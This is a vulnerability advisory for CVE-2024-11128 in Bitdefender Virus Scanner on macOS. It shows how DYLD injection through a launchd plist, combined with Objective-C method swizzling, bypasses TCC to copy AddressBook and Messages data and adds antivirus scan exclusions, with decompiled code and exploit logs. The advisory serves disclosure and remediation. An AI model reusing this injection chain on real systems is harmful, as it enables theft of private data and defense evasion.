macOS Bitdefender Virus Scanner - Transparency, Consent and Control (TCC) Bypass and Configuration Tampering for Defense Evasion

Jan 13, 2025

CVE Number

CVE-2024-11128

Credits

Carlos Garrido of Pentraze Cybersecurity

Summary

The Anti-Malware product, Bitdefender Virus Scanner, designed to scan malicious artifacts on macOS, contains a vulnerability that allows bypassing macOS Transparency, Control, and Consent (TCC), specifically granting Full Disk Access (FDA) permissions. Additionally, it enables the invocation of methods within the antivirus that allow arbitrary configuration and manipulation.

CVSS

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

This vulnerability stems from the fact that the application ("/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner") is not signed with Hardened Runtime or Library Validation. As a result, it is possible to inject into the process (DYLD Injection) without AppleMobileFileIntegrity (AMFI) rejecting the library due to a mismatched signature from the binary. Once injected into the process, the attacker inherits the entitlements and permissions of the application, allowing them to gain additional system privileges that even the root user does not have by default.

Consequently, an attacker could access sensitive and protected user data, such as the AddressBook and Messages.

Furthermore, by leveraging the Objective-C runtime, it is possible to invoke methods (send messages) from various classes within the Anti-Malware product, as well as from the frameworks it loads at runtime. It is also feasible to access instance variables and properties to perform arbitrary actions, such as creating exclusion lists.

BitdefenderVirusScanner’s Entitlements

When validating the entitlements (encoded as a PLIST file) of the Mach-O binary, we will find several capabilities and restrictions of the BitdefenderVirusScanner application, such as: com.apple.security.app-sandbox, indicating that the binary runs in a sandbox with the /System/Library/Sandbox/Profiles/application.sb profile applied (this is the default for all App Store applications). Additionally, we observe that the flags are set to 0x0 (none).

Executable=/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner
Identifier=com.bitdefender.BitdefenderVirusScanner
Format=Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=13451 flags=0x0(none) hashes=409+7 location=embedded
Signature size=4698
Info.plist=not bound
TeamIdentifier=GUNFMW623Y
Sealed Resources=none
Internal requirements count=1 size=240
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.security.app-sandbox</key><true/><key>com.apple.security.files.bookmarks.app-scope</key><true/><key>com.apple.security.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/></dict></plist>

Reverse Engineering

[BDExclusionsController addExclusions:] Method for Adding Exclusions

We will now be studying the instance method addExclusions: of the BDExclusionsController class, as it will be utilized during the development of our proof of concept and exploitation phase. This method, as its name suggests, is responsible for adding exclusions in the file system.


void -[BDExclusionsController addExclusions:](struct BDExclusionsController* self, SEL sel, id addExclusions)

{
        int64_t rax;
        int64_t var_38 = rax;
        struct objc_object* rax_1 = _objc_msgSend(_OBJC_CLASS_$_NSMutableArray, "arrayWithArray:", addExclusions);
        _objc_msgSend(_OBJC_CLASS_$_NSString, "class");
        _objc_msgSend(rax_1, "filterUsingPredicate:", _objc_msgSend(_OBJC_CLASS_$_NSPredicate, "predicateWithFormat:", &cfstr_self_isKindOfClass:_%@));
        _objc_msgSend(rax_1, "removeObjectsInArray:", -[BDPrefsController exclusions](self, "exclusions"));
      
        if (-[MSACOrderedDictionary count](rax_1, "count") == 0)
            return;
  
        _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSMutableArray, "arrayWithArray:", -[BDPrefsController exclusions](self, "exclusions")), "addObjectsFromArray:", rax_1);
        return _objc_msgSend(self, "setExclusions:save:");
}

The addExclusions: method takes only one argument (addExclusions), an array (NSArray *). If we translate this to how Objective-C calls it at runtime, the prototype would be:

((void (*)(id, SEL, NSArray *))objc_msgSend)(BDExclusionsController *, @selector(addExclusions:), exclusionsArray)

This method can be summarized as follows:

  • Create an array using arrayWithArray:, taking addExclusions as the parameter.

  • Validate that the objects contained in the array are of type NSString * using the filterUsingPredicate: and predicateWithFormat: methods.

  • Remove duplicate elements (exclusions) from the array being passed in comparison to the exclusion list already maintained by the Antivirus. This is done using removeObjectsInArray:.

  • If the number of elements in the addExclusions array is greater than 0, and after duplicates have been removed (as explained in the previous step), the instance variable exclusions (of type NSMutableArray * in class BDExclusionsController) is updated with the new paths to be excluded. This is done using addObjectsFromArray:.

  • Finally, the method setExclusions:save: is called.

setExclusions:save: method:

The setExclusions:save: method is nothing more than a trampoline to call the save:context: function:


 void -[BDExclusionsController setExclusions:save:](struct BDExclusionsController* self, SEL sel, id setExclusions, char save)

{
        if ((save != 0 && +[BDExclusionsController save:context:](clsRef_BDExclusionsController, "save:context:", setExclusions, *(int64_t*)((char*)self + 0x10)) == 0))
            return;
   

        return _objc_msgSend(self, "setExclusions:");
}

save:context method:

The following method is responsible for creating a temporary PLIST file in the user’s temporary directory , in this case at /var/folders/gm/y8yjm5wd37524xf8gq7zhz580000gn/T/com.bitdefender.BitdefenderVirusScanner/avtempfile* using the TemporaryFile: and writeExclusions:toPath: calls, and then moving the file to $HOME/Library/Containers/com.bitdefender.BitdefenderVirusScanner/Data/Library/Application Support/Bitdefender Virus Scanner/antivirus.bundle/exclusions.plistusing the Rename:: function. In this final path, the Antivirus reads the file to determine which exceptions it should enforce:


char +[BDExclusionsController save:context:](struct BDExclusionsController* self, SEL sel, id save, id context)

     {
            int64_t rax;
            int64_t var_38 = rax;
            bool result = false;
            struct objc_object* rax_1 = _objc_msgSend(_OBJC_CLASS_$_CommonTools, "TemporaryFile:", 0);
   
             if (rax_1 != 0)
              {
                  +[BDExclusionsController writeExclusions:toPath:](clsRef_BDExclusionsController, "writeExclusions:toPath:", save, rax_1);
                   struct objc_object* rax_2 = +[BDExclusionsController getExclusionsPath](clsRef_BDExclusionsController, "getExclusionsPath");
                   int32_t rax_4 = -[SystemSettingsController Rename::](-[BDMainController SystemSettingsInterface](context, "SystemSettingsInterface"), "Rename::", rax_1, rax_2);
                   int32_t rbx_2 = rax_4;

                  if (rax_4 == 0)
                     rbx_2 = _BDErrnoToOSStatus(((uint64_t)-[BDMainController SettingChanged:::](context, "SettingChanged:::", 1, data_100171ae8, rax_2)));
  
                  result = rbx_2 == 0;
          
                  if (rbx_2 >= 0)
                   {
                      if (rbx_2 != 0)
                      {
                          if (rbx_2 != 0x186ee)
                              {
                              label_10002f15b:
                      
                          if (rbx_2 != 0)
                              -[BDMainController ShowError:::](context, "ShowError:::", _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSBundle, "mainBundle"), "localizedStringForKey:value:tabl…", &cfstr_Authorization, &cfstr_, 0), ((uint64_t)rbx_2), 0);
                              }
                          else
                          {
                              if (+[BDConsoleSettings IsEmbedded](clsRef_BDConsoleSettings, "IsEmbedded") != 0)
                              {
                                  int32_t rax_10 = _RenameOrMove(_objc_msgSend(rax_1, "UTF8String"), _objc_msgSend(rax_2, "UTF8String"));
                                  rbx_2 = rax_10;
                          
                                  if (rax_10 == 2)
                                  {
                                      rbx_2 = 2;
                              
                                      if (_MakeFolder(_objc_msgSend(_objc_msgSend(rax_2, "stringByDeletingLastPathComponen…"), "UTF8String")) == 0)
                                          rbx_2 = _RenameOrMove(_objc_msgSend(rax_1, "UTF8String"), _objc_msgSend(rax_2, "UTF8String"));
                                  }
                          
                                  result = rbx_2 == 0;
                                  goto label_10002f15b;
                              }
                      
                              -[BDMainController ShowError:::](context, "ShowError:::", _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSBundle, "mainBundle"), "localizedStringForKey:value:tabl…", &cfstr_Authorization, &cfstr_, 0), ((uint64_t)0x186ee), 0);
                      }
                          }
                  }
                  else if ((rbx_2 != 0xffff159b && rbx_2 != 0xffffff80))
                      goto label_10002f15b;
          
                  _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSFileManager, "defaultManager"), "removeItemAtPath:error:", rax_1, 0);
          }
     
             return result;
  }

Full Disk Access (kTCCServiceSystemPolicyAllFiles)

During the installation and initial configuration process of the application, we observe how Full Disk Access (FDA) is enabled:

TCC manages two databases for privacy settings: a system-wide database for global configurations and a per-user database for individual preferences. Both are stored as SQLITE3 databases with identical schemas. The system-wide database is located at /Library/Application Support/com.apple.TCC/TCC.db, while the per-user database is located at $HOME/Library/Application Support/com.apple.TCC/TCC.db.

To check if BitdefenderVirusScanner has been granted access to a specific feature, such as Full Disk Access (FDA) — identified by the service kTCCServiceSystemPolicyAllFiles — we can query the per-user database. If the auth_value in the access table is set to 2, this confirms that permission has been granted.

garrido@Garridos-MacBook-Air ~ % sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db"
sqlite> SELECT * FROM access WHERE client LIKE '%bitdefender%' and auth_value=2; 
kTCCServiceSystemPolicyAllFiles|com.bitdefender.BitdefenderVirusScanner|0|2|4|1|??
  ||0|UNUSED||0|1725215801

Exploitation Scenario

The goal of this exploit is to leverage Method Swizzling to hook Objective-C methods at runtime. This technique enables the dynamic replacement of method implementations, allowing arbitrary code execution in place of legitimate functionality. To perform Method Swizzling, the following steps are typically followed:

  • Identify the target class using NSClassFromString, which resolves the class name dynamically at runtime.

  • Specify the method to hook using the @selector directive.

  • Retrieve the method reference with class_getInstanceMethod for instance methods, or class_getClassMethod for class methods.

  • Retrieve and store the original implementation using method_getImplementation. Although this step is optional, we will preserve the original pointer so it can be invoked from within our custom function if necessary. This helps maintain application flow and reduces the likelihood of detection.

  • Replace the original implementation with a custom one using method_setImplementation, passing the method reference and a pointer to the malicious C function.

Exploitation

While it’s possible to perform standard code injection from the Terminal, this approach causes BitdefenderVirusScanner to inherit the Terminal’s sandbox profile and permissions, which is not ideal. To ensure BitdefenderVirusScanner runs within its intended sandbox and privacy settings, we should launch it using launchd. This can be achieved by creating a custom PLIST file and loading it with launchd, preserving the correct environment and privileges.

?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.bit.defender</string>
        <key>EnvironmentVariables</key>
        <dict>
                <key>DYLD_INSERT_LIBRARIES</key>
                <string>/tmp/bit.dylib</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
                <string>/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

Exclusions before triggering the artifact:

It is important to note that before attempting to trigger the artifact, accessing AddressBook and/or Messages is not possible because the Terminal lacks the necessary privileges. However, once we load the PLIST file using the launchctl utility, we successfully exfiltrate those sensitive pieces of information. Similarly, we observe how it was possible, using the Objective-C runtime, to dynamically call methods that allowed the creation of new exclusions within the Anti-Malware product:

garrido@Garridos-MacBook-Air BitsDefender % ls -l /Users/garrido/Library/Application\ Support/AddressBook
total 0
ls: /Users/garrido/Library/Application Support/AddressBook: Operation not permitted
garrido@Garridos-MacBook-Air BitsDefender % ls -l /Users/garrido/Library/Messages
total 0
ls: /Users/garrido/Library/Messages: Operation not permitted
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp 
total 104
-rwxr-xr-x  1 garrido  wheel  50944 Sep 19 00:33 bit.dylib
drwx------  3 garrido  wheel     96 Sep 15 19:47 com.apple.launchd.KTkNQcq3wN
srwxrwxrwx  1 garrido  wheel      0 Sep 15 19:47 ovpnconnect-local-ipc.sock
drwxr-xr-x  2 root     wheel     64 Sep 15 19:47 powerlog
garrido@Garridos-MacBook-Air BitsDefender % launchctl load BitDefender.plist 
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp 
total 104
drwx------@ 12 garrido  staff    384 May 10 18:07 AddressBook
drwx------@  8 garrido  staff    256 Sep 18 22:24 Messages
-rwxr-xr-x   1 garrido  wheel  50944 Sep 19 00:33 bit.dylib
drwx------   3 garrido  wheel     96 Sep 15 19:47 com.apple.launchd.KTkNQcq3wN
srwxrwxrwx   1 garrido  wheel      0 Sep 15 19:47 ovpnconnect-local-ipc.sock
drwxr-xr-x   2 root     wheel     64 Sep 15 19:47 powerlog
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp/AddressBook 
total 4616
-rw-r--r--@ 1 garrido  wheel    32768 Sep 10  2023 ABAssistantChangelog.aclcddb
-rw-r--r--@ 1 garrido  wheel    32768 Sep 18 18:04 ABAssistantChangelog.aclcddb-shm
-rw-r--r--@ 1 garrido  wheel  1693352 Sep 18 18:04 ABAssistantChangelog.aclcddb-wal
-rw-r--r--@ 1 garrido  wheel   450560 Jul  4 19:08 AddressBook-v22.abcddb
-rw-r--r--@ 1 garrido  wheel    32768 Sep 15 19:47 AddressBook-v22.abcddb-shm
-rw-r--r--@ 1 garrido  wheel   111272 Jul  4 19:08 AddressBook-v22.abcddb-wal
drwx------@ 4 garrido  staff      128 Sep 18 23:29 Metadata
-rw-r--r--@ 1 garrido  wheel       42 May 10 18:07 Migration 20240510180720-425.abbu.tbz
drwxr-xr-x@ 3 garrido  staff       96 May 10 18:07 Sources
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp/Messages   
total 1144
drwxr-xr-x@  3 garrido  staff      96 Sep 18 22:24 Drafts
drwxrwxrwx@ 17 garrido  staff     544 Jul  5 22:20 NickNameCache
-rw-r--r--@  1 garrido  wheel  270336 Sep 18 19:59 chat.db
-rw-r--r--@  1 garrido  wheel   32768 Sep 15 19:47 chat.db-shm
-rw-r--r--@  1 garrido  wheel  276072 Sep 18 19:59 chat.db-wal
-rw-r--r--@  1 garrido  wheel     237 Sep 18 22:24 com.apple.messages.geometrycache_v6.plist
garrido@Garridos-MacBook-Air BitsDefender % launchctl list | grep -v apple
PID	Status	Label
6134	0	com.bit.defender
garrido@Garridos-MacBook-Air BitsDefender %
default	01:03:27.112639-0400	secinitd	BitdefenderVirusScanner[6580]: AppSandbox request successful
default	01:03:27.120147-0400	BitdefenderVirusScanner	container_create_or_lookup_for_platform: success
default	01:03:27.125293-0400	BitdefenderVirusScanner	[+] BitDefender Virus Scanner Exploit:
default	01:03:27.125475-0400	BitdefenderVirusScanner	[+] Class `BDMainDelegate` was found
default	01:03:27.125571-0400	BitdefenderVirusScanner	[+] `applicationDidFinishLaunching:` Implementation before swizzling: 0x108525b1a
default	01:03:27.125653-0400	BitdefenderVirusScanner	[+] `applicationDidFinishLaunching:` Implementation after swizzling: 0x1087daef0
default	01:03:43.841325-0400	BitdefenderVirusScanner	[+] `applicationDidFinishLaunching:` hook \o/
default	01:03:43.841427-0400	BitdefenderVirusScanner	[+] Main Application is loaded
default	01:03:43.841538-0400	BitdefenderVirusScanner	[+] Class `BDExclusionsController` was found
default	01:03:43.841641-0400	BitdefenderVirusScanner	[+] `removeItemAtPath:error:` Implementation before swizzling: 0x7ff81dce62c9
default	01:03:43.841934-0400	BitdefenderVirusScanner	[+] `removeItemAtPath:error:` Implementation after swizzling: 0x1087db280
default	01:03:43.841988-0400	BitdefenderVirusScanner	[+] `addExclusions:` Implementation: 0x108549b7b
default	01:03:43.842040-0400	BitdefenderVirusScanner	[+] `getExclusions:` Implementation: 0x108549c81
default	01:03:43.842093-0400	BitdefenderVirusScanner	[+] Exclusions Path [Real]: /Users/garrido/Library/Containers/com.bitdefender.BitdefenderVirusScanner/Data/Library/Application Support/Bitdefender Virus Scanner/antivirus.bundle/exclusions.plist
default	01:03:43.842153-0400	BitdefenderVirusScanner	[+] Current user: garrido
default	01:03:43.842196-0400	BitdefenderVirusScanner	[+] Instance `objBDExclusionsController` responds to selector `addExclusions:`
default	01:03:43.844935-0400	BitdefenderVirusScanner	[+] `removeItemAtPath:` hook \o/
default	01:03:43.845063-0400	BitdefenderVirusScanner	[+] Full Exclusions PLIST path (Temp): /var/folders/gm/y8yjm5wd37524xf8gq7zhz580000gn/T/com.bitdefender.BitdefenderVirusScanner/avtempfile.a5J9qF
default	01:03:43.845319-0400	BitdefenderVirusScanner	[+] Exclusions PLIST (Temp): 
 <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
	<dict>
		<key>Avod</key>
		<true/>
		<key>Oas</key>
		<true/>
		<key>Path</key>
		<string>/Users/garrido/Documents</string>
	</dict>
	<dict>
		<key>Avod</key>
		<true/>
		<key>Oas</key>
		<true/>
		<key>Path</key>
		<string>/Users/garrido/Downloads</string>
	</dict>
</array>
</plist>
default	01:03:43.845488-0400	BitdefenderVirusScanner	[+] `Exclusions file` already exists at target destination.
default	01:03:43.849093-0400	BitdefenderVirusScanner	[+] `Exclusions file` was successfully copied/created to target destination
default	01:03:43.849992-0400	BitdefenderVirusScanner	[+] Element at index 0 from `_exclusions` NSMutableArray: /Users/garrido/Documents
default	01:03:43.850363-0400	BitdefenderVirusScanner	[+] Element at index 1 from `_exclusions` NSMutableArray: /Users/garrido/Downloads
default	01:03:43.850584-0400	BitdefenderVirusScanner	[+] Copying the `AddressBook` and `Messages` directories
default	01:03:44.323016-0400	BitdefenderVirusScanner	[+] `AddressBook` directory was successfully copied/created to target destination [/private/tmp/AddressBook]
default	01:03:44.370290-0400	BitdefenderVirusScanner	[+] `Messages` directory was successfully copied/created to target destination [/private/tmp/Messages]

Next, we can verify how our new exclusion paths were successfully added:

This exploitation illustrates how an attacker can intercept sensitive operations, bypass security mechanisms, and access protected areas such as TCC-protected resources. It also shows that unauthorized exclusions can be introduced through tampering.

Remediation

• Enable the Hardened Runtime and/or Library Validation capabilities for the /Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner binary.

¿Ver el sitio en español?